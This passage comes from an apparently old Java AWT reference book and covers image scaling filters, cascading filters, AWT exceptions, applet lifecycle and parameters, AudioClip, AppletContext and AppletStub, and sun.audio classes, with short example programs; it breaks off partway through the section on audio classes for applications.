The ReplicateScaleFilter is an ImageFilter that scales by duplicating or removing rows and columns. When used with FilteredImageSource, it produces a new image that is a scaled version of the original. As you can guess, ReplicateScaleFilter is very fast, but the results aren't particularly pleasing aesthetically. It is great if you want to magnify a checkerboard but not that useful if you want to scale an image of your Aunt Polly. Its subclass, AreaAveragingScaleFilter, implements a more time-consuming algorithm that is more suitable when image quality is a concern. Constructor

public ReplicateScaleFilter (int width, int height)

The constructor for ReplicateScaleFilter specifies the size of the resulting image. If either parameter is -1, the resulting image maintains the same aspect ratio as the original image.

ImageConsumer interface methods

public void setProperties (Hashtable properties)

The setProperties() method adds the rescale image property to the properties list. The value of the rescale property is a quoted string showing the image's new width and height, in the form `<width>x<height>`, where the width and height are taken from the constructor. After updating properties, this method sets the properties list of the consumer.

public void setDimensions (int width, int height)

The setDimensions() method of ReplicateScaleFilter passes the new width and height from the constructor along to the consumer. If either of the constructor's parameters are negative, the size is recalculated proportionally. If both are negative, the size becomes width x height.

public void setPixels (int x, int y, int w, int h, ColorModel model, int pixels[], int offset, int scansize)
public void setPixels (int x, int y, int w, int h, ColorModel model, byte pixels[], int offset, int scansize)

The setPixels() method of ReplicateScaleFilter checks to see which rows and columns of pixels to pass along.

AreaAveragingScaleFilter

The AreaAveragingScaleFilter subclasses ReplicateScaleFilter to provide a better scaling algorithm. Instead of just dropping or adding rows and columns, AreaAveragingScaleFilter tries to blend pixel values when creating new rows and columns. The filter works by replicating rows and columns to generate an image that is a multiple of the original size. Then the image is resized back down by an algorithm that blends the pixels around each destination pixel. AreaAveragingScaleFilter methods

Because this filter subclasses ReplicateScaleFilter, the only methods it includes are those that override methods of ReplicateScaleFilter. Constructors

public AreaAveragingScaleFilter (int width, int height) (New)

The constructor for AreaAveragingScaleFilter specifies the size of the resulting image. If either parameter is -1, the resulting image maintains the same aspect ratio as the original image.

ImageConsumer interface methods

public void setHints (int hints) (New)

The setHints() method of AreaAveragingScaleFilter checks to see if some optimizations can be performed based upon the value of the hints parameter. If they can't, the image filter has to cache the pixel data until it receives the entire image.

public void setPixels (int x, int y, int w, int h, ColorModel model, byte pixels[], int offset, int scansize) (New)
public void setPixels (int x, int y, int w, int h, ColorModel model, int pixels[], int offset, int scansize) (New)

The setPixels() method of AreaAveragingScaleFilter accumulates the pixels or passes them along based upon the available hints. If setPixels() accumulates the pixels, this filter passes them along to the consumer when appropriate.

Cascading Filters

It is often a good idea to perform complex filtering operations by using several filters in a chain. This technique requires the system to perform several passes through the image array, so it may be slower than using a single complex filter; however, cascading filters yield code that is easier to understand and quicker to write--particularly if you already have a collection of image filters from other projects.

For example, assume you want to make a color image transparent and then render the image in black and white. The easy way to do this task is to apply a filter that converts color to a gray value and then apply the TransparentImageFilter we developed in Example 12.9. Using this strategy, we have to develop only one very simple filter. Example 12.11 shows the source for the GrayImageFilter; Example 12.12 shows the applet that applies the two filters in a daisy chain.

Example 12.11: GrayImageFilter Source

import java.awt.image.*;
public class GrayImageFilter extends RGBImageFilter {
    public GrayImageFilter () {
        canFilterIndexColorModel = true;
    }
    public int filterRGB (int x, int y, int rgb) {
        int gray  = (((rgb & 0xff0000) >> 16) +
                        ((rgb & 0x00ff00) >> 8) +
                        (rgb & 0x0000ff)) / 3;
        return (0xff000000 | (gray << 16) | (gray <<  8) |  gray);
    }
}

Example 12.12: DrawingImages Source

import java.applet.*;
import java.awt.*;
import java.awt.image.*;
public class DrawingImages extends Applet {
    Image i, j, k, l;
    public void init () {
        i = getImage (getDocumentBase(), "rosey.jpg");
        GrayImageFilter gif = new GrayImageFilter ();
        j = createImage (new FilteredImageSource (i.getSource(), gif));
        TransparentImageFilter tf = new TransparentImageFilter (.5f);
        k = createImage (new FilteredImageSource (j.getSource(), tf));
        l = createImage (new FilteredImageSource (i.getSource(), tf));
    }
    public void paint (Graphics g) {
        g.drawImage (i, 10, 10, this);                  // regular
        g.drawImage (j, 270, 10, this);                 // gray
        g.drawImage (k, 10, 110, Color.red, this);      // gray - transparent
        g.drawImage (l, 270, 110, Color.red, this);     // transparent
    }
}

Granted, neither the GrayImageFilter or the TransparentImageFilter are very complex, but consider the savings you would get if you wanted to blur an image, crop it, and then render the result in grayscale. Writing a filter that does all three is not a task for the faint of heart; remember, you can't subclass RGBImageFilter or CropImageFilter because the result does not depend purely on each pixel's color and position. However, you can solve the problem easily by cascading the filters developed in this chapter.

Previous | Home | Next
ImageConsumer | Book Index | AWT Exceptions and Errors
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] AWT Exceptions and Errors

Previous Chapter 13 Next

13. AWT Exceptions and Errors

Contents:
AWTException
IllegalComponentStateException
AWTError

This chapter describes AWTException, IllegalComponentStateException, and AWTError. AWTException is a subclass of Exception. It is not used by any of the public classes in java.awt; you may, however, find it convenient to throw AWTException within your own code. IllegalComponentStateException is another Exception subclass, which is new to Java 1.1. This exception is used when you try to do something with a Component that is not yet appropriate. AWTError is a subclass of Error that is thrown when a serious problem occurs in AWT--for example, the environment is unable to get the platform's Toolkit.

13.1 AWTException

AWTException is a generic exception that can be thrown when an exceptional condition has occurred within AWT. None of the AWT classes throw this. If you subclass any of the AWT classes, you can throw an AWTException to indicate a problem. Using AWTException is slightly preferable to creating your own Exception subclass because you do not have to generate another class file. Since it is a part of Java, AWTException is guaranteed to exist on the run-time platform.

If you throw an instance of AWTException, like any other Exception, it must be caught in a catch clause or declared in the throws clause of the method.

AWTException Method

Constructor

public AWTException (String message)

The sole constructor creates an AWTException with a detailed message of message. This message can be retrieved using getMessage(), which it inherits from Exception (and which is required by the Throwable interface). If you do not want a detailed message, message may be null.

Throwing an AWTException

An AWTException is used the same way as any other Throwable object. Here's an example:

if (someProblem) {
    throw new AWTException ("Problem Encountered While Initializing");
}

Previous | Home | Next
ImageFilter | Book Index | IllegalComponentStateException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] 13.2 IllegalComponentStateException

Previous Chapter 13
AWT Exceptions and Errors 		Next

13.2 IllegalComponentStateException

IllegalComponentStateException is a subclass of IllegalStateException; both are new to Java 1.1. This exception is used when you try to do something with a Component that is not yet appropriate. With the standard AWT components, this can happen only in three instances:

  • If you call setCaretPosition() to set the cursor position of a text component before the component's peer exists.

  • If you call getLocale() to get the locale of a component that does not have one and is not in a container that has one.

  • If you call getLocationOnScreen() for a component that is not showing.

In these cases, the operation isn't fundamentally illegal; you are just trying to perform it before the component is ready. When you create your own components, you should consider using this exception for similar cases.

Since IllegalComponentStateException is a subclass of Run-TimeException, you do not have to enclose method calls that might throw this exception within try/catch blocks. However, catching this exception isn't a bad idea, since it should be fairly easy to correct the problem and retry the operation.

IllegalComponentStateException Method

Constructor

public IllegalComponentStateException () (New)

The first constructor creates an IllegalComponentStateException instance with no detail message.

public IllegalComponentStateException (String message) (New)

This constructor creates an IllegalComponentStateException with a detail message of message. This message can be retrieved using getMessage(), which it inherits from Exception (and is required by the Throwable interface).

IllegalComponentStateException Example

The following code throws an IllegalComponentStateException. The Exception occurs because the TextField peer does not exist when setCaretPosition() is called. setCaretPosition() throws an IllegalComponentStateException, and the next statement never executes.

import java.awt.TextField;
public class illegal {
    public static void main (String[] args) {
        new TextField().setCaretPosition (24);
        System.out.println ("Never gets here");
    }
}

Previous | Home | Next
AWTException | Book Index | AWTError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] 13.3 AWTError

Previous Chapter 13
AWT Exceptions and Errors 		Next

13.3 AWTError

AWTError is a subclass of Error that is used when a serious run-time error has occurred within AWT. For example, an AWTError is thrown if the default Toolkit cannot be initialized or if you try to create a FileDialog within Netscape Navigator (since that program does not permit local file system access). When an AWTError is thrown and not caught, the virtual machine stops your program. You may throw this Error to indicate a serious run-time problem in any subclass of the AWT classes. Using AWTError is slightly preferable to creating your own Error because you don't have to provide another class file. Since it is part of Java, AWTError is guaranteed to exist on the run-time platform.

Methods are not required to declare that they throw AWTError. If you throw an error that is not caught, it will eventually propagate to the top level of the system.

AWTError Method

Constructor

public AWTError (String message)

The sole constructor creates an AWTError with a detail message of message. This message can be retrieved using getMessage(), which it inherits from Error (and is required by the Throwable interface). If you do not want a detailed message, message may be null.

Throwing an AWTError

The code in Example 13.1 throws an AWTError if it is executed with this command:

java -Dawt.toolkit=foo throwme

The error occurs because the Java interpreter tries to use the toolkit foo, which does not exist (assuming that class foo does not exist in your CLASSPATH). Therefore, getDefaultToolkit() throws an AWTError, and the next statement never executes.

Example 13.1: The throwme class

import java.awt.Toolkit;
public class throwme {
    public static void main (String[] args) {
        System.out.println (Toolkit.getDefaultToolkit());
        System.out.println ("Never Gets Here");
    }
}

Previous | Home | Next
IllegalComponentStateException | Book Index | And Then There Were Applets
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 14] And Then There Were Applets

Previous Chapter 14 Next

14. And Then There Were Applets

Contents:
What's a Java Applet?
AudioClip Interface
AppletContext Interface
AppletStub Interface
Audio in Applications

Although it is not part of the java.awt package, the java.applet package is closely related. The java.applet package provides support for running an applet in the context of a World Wide Web browser. It consists of one class (Applet) and three interfaces (AppletContext, AudioClip, and AppletStub). The Applet class supports the "applet life cycle" methods (init(), start(), stop(), destroy()) that you override to write an applet. AudioClip provides support for audio within applets. (Applications use the sun.audio package for audio support; sun.audio is also covered in this chapter.) The AppletStub and AppletContext interfaces provide a way for the applet to interact with its run-time environment. Many of the methods of AppletStub and AppletContext are duplicated in the Applet class.

14.1 What's a Java Applet?

Much of the initial excitement about Java centered around applets. Applets are small Java programs that can be embedded within HTML pages and downloaded and executed by a web browser. Because executing code from random Internet sites presents a security risk, Java goes to great lengths to ensure the integrity of the program executing and to prevent it from performing any unauthorized tasks.

An applet is a specific type of Java Container. The class hierarchy of an applet is shown in Figure 14.1.

Figure 14.1: Applet class hierarchy

[Graphic: Figure 14-1]

When you are writing an applet, remember that you can use the features of its ancestors. In particular, remember to check the methods of the Component, Container, and Panel classes, which are inherited by the Applet class.

Applet Methods

All the methods of Applet, except setStub(), either need to be overridden or are methods based on one of the java.applet interfaces. The system calls setStub() to set up the context of the interfaces. The browser implements the AppletContext and AppletStub interfaces. Constructor

public Applet ()

The system calls the Applet constructor when the applet is loaded and before it calls setStub(), which sets up the applet's stub and context. When you subclass Applet, you usually do not provide a constructor. If you do provide a constructor, you do not have access to the AppletStub or AppletContext and, therefore, may not call any of their methods.

AppletStub setup

public final void setStub (AppletStub stub)

The setStub() method of Applet is called by the browser when the applet is loaded into the system. It sets the AppletStub of the applet to stub. In turn, the AppletStub contains the applet's AppletContext.

Applet information methods

Several methods of Applet provide information that can be used while the applet is running.

public AppletContext getAppletContext ()

The getAppletContext() method returns the current AppletContext. This is part of the applet's stub, which is set by the system when setStub() is called.

public URL getCodeBase ()

The getCodeBase() method returns the complete URL of the .class file that contains the applet. This method can be used with the getImage() or the getAudioClip() methods, described later in this chapter, to load an image or audio file relative to the .class file location.

public URL getDocumentBase ()

The getDocumentBase() method returns the complete URL of the .html file that loaded the applet. This can be used with the getImage() or getAudioClip() methods, described later in this chapter, to load an image or audio file relative to the .html file.

public String getParameter (String name)

The getParameter() method allows you to get run-time parameters from within the <APPLET> tag of the .html file that loaded the applet. Parameters are defined by HTML <PARAM> tags, which have the form:

<PARAM name="parameter" value="value>

If the name parameter of getParameter() matches the name string of a <PARAM> tag, getParameter() returns the tag's value as a string. If name is not found within the <PARAM> tags of the <APPLET>, getParameter() returns null. The argument name is not case sensitive; that is, it matches parameter names regardless of case. Remember that getParameter() always returns a string, even though the parameter values might appear as integers or floating point numbers in the HTML file. In some situations, it makes sense to pass multiple values in a single parameter; if you do this, you have to parse the parameter string manually. Using a StringTokenizer will make the job easier.

Enabling your applets to accept parameters allows them to be customized at run-time by the HTML author, without providing the source code. This provides greater flexibility on the Web without requiring any recoding. Example 14.1 shows how an applet reads parameters from an HTML file. It contains three parts: the HTML file that loads the applet, the applet source code, and the output from the applet.

Example 14.1: Getting Parameters from an HTML File

<APPLET CODE=ParamApplet WIDTH=100 HEIGHT=100>
<PARAM NAME=one VALUE=1.0>
<PARAM name=TWO value=TOO>
</APPLET>
public class ParamApplet extends java.applet.Applet {
    public void init () {
        String param;
        float one;
        String two;
        if ((param = getParameter ("ONE")) == null) {
            one = -1.0f;  // Not present
        } else {
            one = Float.valueOf (param).longValue();
        }
        if ((param = getParameter ("two")) == null) {
            two = "two";
        } else {
            two = param.toUpperCase();
        }
        System.out.println ("One: " + one);
        System.out.println ("Two: " + two);
    }
}
One: 1
Two: TOO

public String getAppletInfo ()

The getAppletInfo() method lets an applet provide a short descriptive string to the browser. This method is frequently overridden to return a string showing the applet's author and copyright information. How (or whether) to display this information is up to the browser. With appletviewer, this information is displayed when the user selects the Info choice under the Applet menu. Neither Netscape Navigator nor Internet Explorer currently display this information.

public String[][] getParameterInfo ()

The getParameterInfo() method lets an applet provide a two-dimensional array of strings describing the parameters it reads from <PARAM> tags. It returns an array of three strings for each parameter. In each array, the first String represents the parameter name, the second describes the data type, and the third is a brief description or range of values. Like getAppletInfo(), how (or whether) to display this information is up to the browser. With appletviewer, this information is displayed when the user selects the Info choice under the Applet menu. Neither Netscape Navigator nor Internet Explorer currently display this information. The following code shows how an applet might use getParameterInfo() and getAppletInfo():

public String getAppletInfo() {
    String whoami = "By John Zukowski (c) 1997";
    return whoami;
}
public String[][] getParameterInfo() {
    String[][] strings = {
        {"parameter1",     "String",      "Background Color name"},
        {"parameter2",     "URL",         "Image File"},
        {"parameter3",     "1-10",        "Number in Series"}
    };
    return strings;
}

public void showStatus (String message)

The showStatus() method displays message on the browser's status line, if it has one. Again, how to display this string is up to the browser, and the browser can overwrite it whenever it wants. You should only use showStatus() for messages that the user can afford to miss.

public boolean isActive ()

The isActive() method returns the current state of the applet. While an applet is initializing, it is not active, and calls to isActive() return false. The system marks the applet active just prior to calling start(); after this point, calls to isActive() return true.

public Locale getLocale () (New)

The getLocale() method retrieves the current Locale of the applet, if it has one. Using a Locale allows you to write programs that can adapt themselves to different languages and different regional variants. If no Locale has been set, getLocale() returns the default Locale. The default Locale has a user language of English and no region. To change the default Locale, set the system properties user.language and user.region, or call Locale.setDefault() (setDefault() verifies access rights with the security manager).[1]

[1] For more on the Locale class, see Java Fundamental Classes Reference, by Mark Grand, from O'Reilly & Associates.

Applet life cycle

The browser calls four methods of the Applet class to execute the applet. These methods constitute the applet's life cycle. The default versions don't do anything; you must override at least one of them to create a useful applet.

public void init ()

The init() method is called once when the applet is first loaded. It should be used for tasks that need to be done only once. init() is often used to load images or sound files, set up the screen, get parameters out of the HTML file, and create objects the applet will need later. You should not do anything that might "hang" or wait indefinitely. In a sense, init() does things that might otherwise be done in an applet's constructor.

public void start ()

The start() method is called every time the browser displays the web page containing the applet. start() usually does the "work" of the applet. It often starts threads, plays sound files, or does computation. start() may also be called when the browser is de-iconified.

public void stop ()

The stop() method is called whenever the browser leaves the web page containing the applet. It should stop or suspend anything that the applet is doing. For example, it should suspend any threads that have been created and stop playing any sound files. stop() may also be called when the browser is iconified.

public void destroy ()

The destroy() method is called when the browser determines that it no longer needs to keep the applet around--in practice, when the browser decides to remove the applet from its cache or the browser exits. After this point, if the browser needs to display the applet again, it will reload the applet and call the applet's init() method. destroy() gives the applet a final opportunity to release any resources it is using (for example, close any open sockets). Most applets don't need to implement destroy(). It is always a good idea to release resources as soon as they aren't needed, rather than waiting for destroy(). There are no guarantees about when destroy() will be called; if your browser has a sufficiently large cache, the applet may stay around for a very long time.

Applet-sizing methods

public void resize(int width, int height)

The resize() method changes the size of the applet space to width x height. The browser must support changing the applet space or else the sizing does not change. Netscape Navigator does not allow an applet to change its size; the applet is sized to the region allocated by the <APPLET> tag, period.

Because Applet is a subclass of Component, it inherits the Java 1.1 method setSize(), which has the same function.

public void resize (Dimension dim)

This resize() method calls the previous version of resize() with a width of dim.width and a height of dim.height.

Images

We have discussed Image objects extensively in Chapter 2, Simple Graphics, and Chapter 12, Image Processing, and used them in many of our examples. When writing an applet, you can use the getImage() method directly. In applications, you must go through Toolkit (which the following methods call) to get images.

public Image getImage (URL url)

The getImage() method loads the image file located at url. url must be a complete and valid URL. The method returns a system-specific object that subclasses Image and returns immediately. The Image is not loaded until needed, either by prepareImage(), MediaTracker, or drawImage().

public Image getImage (URL url, String filename)

The getImage() method loads the image file located at url in filename. The applet locates the file relative to the specified URL; that is, if the URL ends with a filename, the applet removes the filename and appends the filename argument to produce a new URL. getImage() returns a system-specific object that subclasses Image and returns immediately. The Image is not loaded until needed, either by prepareImage(), MediaTracker, or drawImage().

In most cases, the url argument is a call to getDocumentBase() or getCodeBase(); most often, image files are located in the same directory as the HTML file, the applet's Java class file, or their own subdirectory.

Audio

Every Java platform is guaranteed to understand Sun's AU file format, which contains a single channel of 8000 Hz µLaw encoded audio data.[2] Java applets do not require any helper applications to play audio; they use the browser's audio capabilities. You can use an independent application, like Sun's audiotool, to control the volume. Of course, the user's workstation or PC needs audio hardware, but these days, it's hard to buy a computer that isn't equipped for audio.

[2] The AU format is explained in the Audio File Format FAQ (version 3.10) located at ftp://ftp.cwi.nl/pub/audio/index.html in files AudioFormats.part1 and AudioFormats.part2.

The Java Media Framework API is rumored to provide support for additional audio formats, like Microsoft's .wav files or Macintosh/SGI .aiff audio files. At present, if you want your Java program to play audio files in other formats, you must first convert the audio file to the .au format, using a utility like SOX (Sound Exchange).[3] Once converted, your Java program can play the resulting .au file normally. (If you are interested in more information about audio, look in the alt.binaries.sounds.d newsgroup.)

[3] SOX is available at http://www.spies.com/Sox. The current version of SOX is 10; version 11 is in gamma release. The UNIX source is located in sox10.tar.gz , while the DOS executable is sox10dos.zip.

The Applet class provides two ways to play audio clips. The first mechanism provides a method to load and play an audio file once:

public void play (URL url)

The play() method downloads and plays the audio file located at url. url must be a complete and valid URL. If url is invalid, no sound is played. Some environments throw an exception if the URL is invalid, but not all. Calling play() within an applet's destroy() method usually has no effect; the applet and its resources will probably be deallocated before play() has time to download the audio file.

public void play (URL url, String filename)

This version of play() downloads and plays the audio file located at url in the file filename. The applet locates the file relative to the specified URL; that is, if the URL ends with a filename, the applet removes the filename and appends the filename argument to produce a new URL. If the resulting URL is invalid, no sound is played. Some environments throw an exception if the URL is invalid, but not all.

In most cases, the url argument is a call to getDocumentBase() or getCodeBase(); most often, sound files are located in the same directory as the HTML file or the applet's Java class file. For some reason, you cannot have a double dot (..) in the URL of an audio file; you can in the URL of an image file. Putting a double dot in the URL of an audio file raises a security exception in an applet causing play() to fail.

The following applet plays an audio file located relative to the HTML file from which the applet was loaded:

import java.net.*;
import java.applet.*;
public class audioTest extends Applet {
    public void init () {
        System.out.println ("Before");
        play (getDocumentBase(), "audio/flintstones.au");
        System.out.println ("After");
    }
}

The second way to play audio files splits the process into two steps: you get an AudioClip object and then play it as necessary. This procedure eliminates a significant drawback to play(): if you call play() repeatedly, it reloads the audio file each time, making the applet much slower.

public AudioClip getAudioClip (URL url)

The getAudioClip() method loads the audio file located at url. url must be a complete and valid URL. Upon success, getAudioClip() returns an instance of a class that implements the AudioClip interface. You can then call methods in the AudioClip interface (see AudioClip Interface) to play the clip. If an error occurs during loading (e.g., because the file was not found or the URL was invalid), getAudioClip() returns null.

getAudioClip() sounds similar to getImage(), and it is. However, Java currently loads audio clips synchronously; it does not start a separate thread as it does for images. You may want to create a helper class that loads audio clips in a separate thread.

The actual class of the AudioClip object depends on the platform you are using; you shouldn't need to know it. If you are curious, the appletviewer uses the class sun.applet.AppletAudioClip; Netscape Navigator uses the class netscape.applet.AppletAudioClip.

public AudioClip getAudioClip (URL url , String filename)

This version of the getAudioClip() method loads the audio file located at url in the file filename. The applet locates the file relative to the specified URL; that is, if the URL ends with a filename, the applet removes the filename and appends the filename argument to produce a new URL. If the resulting URL is invalid, the file is not loaded. Upon success, getAudioClip() returns an instance of a class that implements the AudioClip interface. You can then call methods in the AudioClip interface (see AudioClip Interface) to play the clip. If an error occurs during loading (e.g., because the file was not found or the URL was invalid), getAudioClip() returns null.

In most cases, the url argument is a call to getDocumentBase() or getCodeBase(); most often, sound files are located in the same directory as the HTML file or the applet's Java class file.

Previous | Home | Next
AWTError | Book Index | AudioClip Interface
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 14] 14.2 AudioClip Interface

Previous Chapter 14
And Then There Were Applets 		Next

14.2 AudioClip Interface

Once an audio file is loaded into memory with getAudioClip(), you use the AudioClip interface to work with it. Methods

Three methods define the AudioClip interface. The class that implements these methods depends on the run-time environment; the class is probably sun.applet.AppletAudioClip or netscape.applet.AppletAudioClip.

If you play an audio clip anywhere within your Applet, you should call the AudioClip stop() method within the stop() method of the applet. This ensures that the audio file will stop playing when the user leaves your web page. Stopping audio clips is a must if you call loop() to play the sound continuously; if you don't stop an audio clip, the user will have to exit the browser to get the sound to stop playing.

Applets can play audio clips simultaneously. Based upon the user's actions, you may want to play a sound file in the background continuously, while playing other files.

void play ()

The play() method plays the audio clip once from the beginning.

void loop ()

The loop() method plays the audio clip continuously. When it gets to the end-of-file marker, it resets itself to the beginning.

void stop ()

The stop() method stops the applet from playing the audio clip.

Using an AudioClip

The applet in Example 14.2 loads three audio files in the init() method. The start() method plays Dino barking in the background as a continuous loop. Whenever the browser calls paint(), Fred yells "Wilma," and when you click the mouse anywhere, the call to mouseDown() plays Fred yelling, "Yabba-Dabba-Doo." If you try real hard, all three can play at once. Before playing any audio clip, the applet makes sure that the clip is not null--that is, that the clip loaded correctly. stop() stops all clips from playing; you should make sure that applets stop all audio clips before the viewer leaves the web page.

Example 14.2: AudioClip Usage

import java.net.*;
import java.awt.*;
import java.applet.*;
public class AudioTestExample extends Applet{
    AudioClip audio1, audio2, audio3;
    public void init () {
        audio1 = getAudioClip (getCodeBase(), "audio/flintstones.au");
        audio2 = getAudioClip (getCodeBase(), "audio/dino.au");
        audio3 = getAudioClip (getCodeBase(), "audio/wilma.au");
    }
    public boolean mouseDown (Event e, int x, int y) {
        if (audio1 != null)
            audio1.play();
        return true;
    }
    public void start () {
        if (audio2 != null)
            audio2.loop();
    }
    public void paint (Graphics g) {
        if (audio3 != null)
            audio3.play();
    }
    public void stop () {
        if (audio1 != null)
            audio1.stop();
        if (audio2 != null)
            audio2.stop();
        if (audio3 != null)
            audio3.stop();
    }
}

Previous | Home | Next
What's a Java Applet? | Book Index | AppletContext Interface
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 14] 14.3 AppletContext Interface

Previous Chapter 14
And Then There Were Applets 		Next

14.3 AppletContext Interface

The AppletContext interface provides the means to control the browser environment where the applet is running. Methods

Some of these methods are so frequently used that they are also provided within the Applet class.

public abstract AudioClip getAudioClip (URL url)

The getAudioClip() method loads the audio file located at url. url must be a complete and valid URL. Upon success, getAudioClip() returns an instance of a class that implements the AudioClip interface. You can then call methods in the AudioClip interface (see AudioClip Interface) to play the clip. If an error occurs during loading (e.g., because the file was not found or the URL was invalid), getAudioClip() returns null.

public abstract Image getImage (URL url)

The getImage() method loads the image file located at url. url must be a complete and valid URL. The method returns a system-specific object that subclasses Image and returns immediately. The Image is not loaded until needed. A call to prepareImage(), MediaTracker, or drawImage() forces loading to start.

public abstract Applet getApplet (String name)

The getApplet() method fetches the Applet from the current HTML page named name, which can be the applet's class name or the name provided in the NAME parameter of the <APPLET> tag. getApplet() returns null if the applet does not exist in the current context. This method allows you to call methods of other applets within the same context, loaded by the same ClassLoader. For example:

MyApplet who = (MyApplet)getAppletContext().getApplet("hey");
who.method();

TIP:

Netscape Navigator 3.0 restricts which applets can communicate with each other. Internet Explorer seems to have a similar restriction. For applets to communicate, they must:

  • Have the same CODEBASE.

  • Have the same or no ARCHIVES tag.

  • Have MAYSCRIPT tags and appear in the same frame; alternatively, neither applet may have a MAYSCRIPT tag.

If these conditions are not met and you try to cast the return value of getApplet() or getApplets() to the appropriate class, either the cast will throw a ClassCastException; or nothing will happen, and the method will not continue beyond the point of the failure.

public abstract Enumeration getApplets ()

The getApplets() method gathers all the Applets in the current context, loaded by the same ClassLoader, into a collection and returns the Enumeration. You can then cycle through them to perform some operation collectively. For example:

Enumeration e = getAppletContext().getApplets();
while (e.hasMoreElements()) {
    Object o = e.nextElement();
    if (o instance of MyApplet) {
        MyApplet a = (Object)o;
        a.MyAppletMethod();
    }
}

TIP:

If you want communication between applets on one page, be aware that there is no guarantee which applet will start first. Communications must be synchronized by using a controlling class or continual polling.

public abstract void showDocument (URL url)

The showDocument() method shows url in the current browser window. The browser may ignore the request if it so desires.

public abstract void showDocument (URL url, String frame)

The showDocument() method shows url in a browser window specified by frame. Different frame values and the results are shown in Table 14.1. The browser may ignore the request, as appletviewer does.

try {
    URL u = new URL (getDocumentBase(), (String) file);
    getAppletContext().showDocument (u, "_blank");
} catch (Exception e) {
}

Table 14.1: Target Values
Target String | Results
_blank | Show url new browser window with no name.
_parent | Show url in the parent frame of the current window.
_self | Replace current url with url (i.e., display in the current window).
_top | Show url in top-most frame.
name | Show url in new browser window named name.

public abstract void showStatus (String message)

The showStatus() method displays message on the browser's status line, if it has one. How to display this string is up to the browser, and the browser can overwrite it whenever it wants. You should use showStatus() only for messages that the user can afford to miss.

Previous Home Next
AudioClip Interface Book Index AppletStub Interface
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 14] 14.4 AppletStub Interface

Previous Chapter 14
And Then There Were Applets 		Next

14.4 AppletStub Interface

The AppletStub interface provides a way to get information from the run-time browser environment. The Applet class provides methods with similar names that call these methods. Methods

public abstract boolean isActive ()

The isActive() method returns the current state of the applet. While an applet is initializing, it is not active, and calls to isActive() return false. The system marks the applet active just prior to calling start(); after this point, calls to isActive() return true.

public abstract URL getDocumentBase ()

The getDocumentBase() method returns the complete URL of the HTML file that loaded the applet. This method can be used with the getImage() or getAudioClip() methods to load an image or audio file relative to the HTML file.

public abstract URL getCodeBase ()

The getCodeBase() method returns the complete URL of the .class file that contains the applet. This method can be used with the getImage() method or the getAudioClip() method to load an image or audio file relative to the .class file.

public abstract String getParameter (String name)

The getParameter() method allows you to get parameters from <PARAM> tags within the <APPLET> tag of the HTML file that loaded the applet. The name parameter of getParameter() must match the name string of the <PARAM> tag; name is case insensitive. The return value of getParameter() is the value associated with name; it is always a String regardless of the type of data in the tag. If name is not found within the <PARAM> tags of the <APPLET>, getParameter() returns null.

public abstract AppletContext getAppletContext ()

The getAppletContext() method returns the current AppletContext of the applet. This is part of the stub that is set by the system when setStub() is called.

public abstract void appletResize (int width, int height)

The appletResize() method is called by the resize method of the Applet class. The method changes the size of the applet space to width x height. The browser must support changing the applet space; if it doesn't, the size remains unchanged.

Previous | Home | Next
AppletContext Interface | Book Index | Audio in Applications
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 14] 14.5 Audio in Applications

Previous Chapter 14
And Then There Were Applets 		Next

14.5 Audio in Applications

The rest of this chapter describes how to use audio in your applications. Because the audio support discussed so far has been provided by the browser, applications that don't run in the context of a browser must use a different set of classes to work with audio. These classes are within the sun.audio package. Although the sun.* package hierarchy is not necessarily included by other vendors, the sun.audio classes discussed here are provided with Netscape Navigator 2.0/3.0 and Internet Explorer 3.0. Therefore, you can use these classes within applets, too. This section ends by developing a SunAudioClip class that has an interface similar to the applet's audio interface; you can use it to minimize coding differences between applets and applications.

AudioData

The AudioData class holds a clip of 8000 Hz µLaw audio data. This data can be used to construct an AudioDataStream or ContinuousAudioDataStream, which can then be played with the AudioPlayer. Constructor

public AudioData (byte buffer[])

The AudioData constructor accepts a byte array buffer and creates an instance of AudioData. The buffer should contain 8000 Hz µLaw audio data.

Methods

There are no methods for AudioData.

AudioStream

AudioStream subclasses FilterInputStream, which extends InputStream. Using an InputStream lets you move back and forth (rewind and fast forward) within an audio file, in addition to playing the audio data from start to finish. Constructors

public AudioStream (InputStream in) throws IOException

The AudioStream constructor has InputStream in as its parameter and can throw IOException on error. In the following code, we get an input stream by opening a .au file. Another common way to construct an AudioStream is to use the stream associated with a URL through the URL's openStream() method.

FileInputStream fis = new FileInputStream ("/usr/openwin/demo/sounds/1.au");
AudioStream audiostream = new AudioStream (fis);

or:

AudioStream audiostream = new AudioStream (savedUrl.openStream());

If you are constructing the audio data yourself, you would use a ByteArrayInputStream. Whatever the source of the data, the input stream should provide data in Sun's .au format.

Methods

public int read (byte buffer[], int offset, int length) throws IOException

The read() method for AudioStream reads an array of bytes into buffer. offset is the first element of buffer that is used. length is the maximum number of bytes to read. This method blocks until some input is available. read() returns the actual number of bytes read. If the end of stream is encountered and no bytes were read, read() returns -1. Ordinarily, you read() an AudioStream only if you want to modify the audio data in some way.

public int getLength()

The getLength() method returns the length of the audio data contained within the AudioStream, excluding any header information in the file.

public AudioData getData () throws IOException

The getData() method of AudioStream is the most important and most frequently used. It reads the data from the input stream and creates an AudioData instance. As the following code shows, you can create an AudioStream and get the AudioData with one statement.

AudioData audiodata = new AudioStream (aUrl.openStream()).getData();

AudioDataStream

Constructors

public AudioDataStream (AudioData data)

This constructor creates an AudioDataStream from an AudioData object data. The resulting AudioDataStream is a subclass of ByteArrayInputStream and can be played by the AudioPlayer.start() method.

Methods

There are no methods for AudioDataStream.

ContinuousAudioDataStream

Constructors

public ContinuousAudioDataStream (AudioData data)

This constructor creates a continuous stream of audio from data. The resulting ContinuousAudioDataStream is a subclass of AudioDataStream and, therefore, of ByteArrayInputStream. It can be played by AudioPlayer.start(); whenever the player reaches the end of the continuous audio data stream, it restarts from the beginning.

Methods

public int read ()

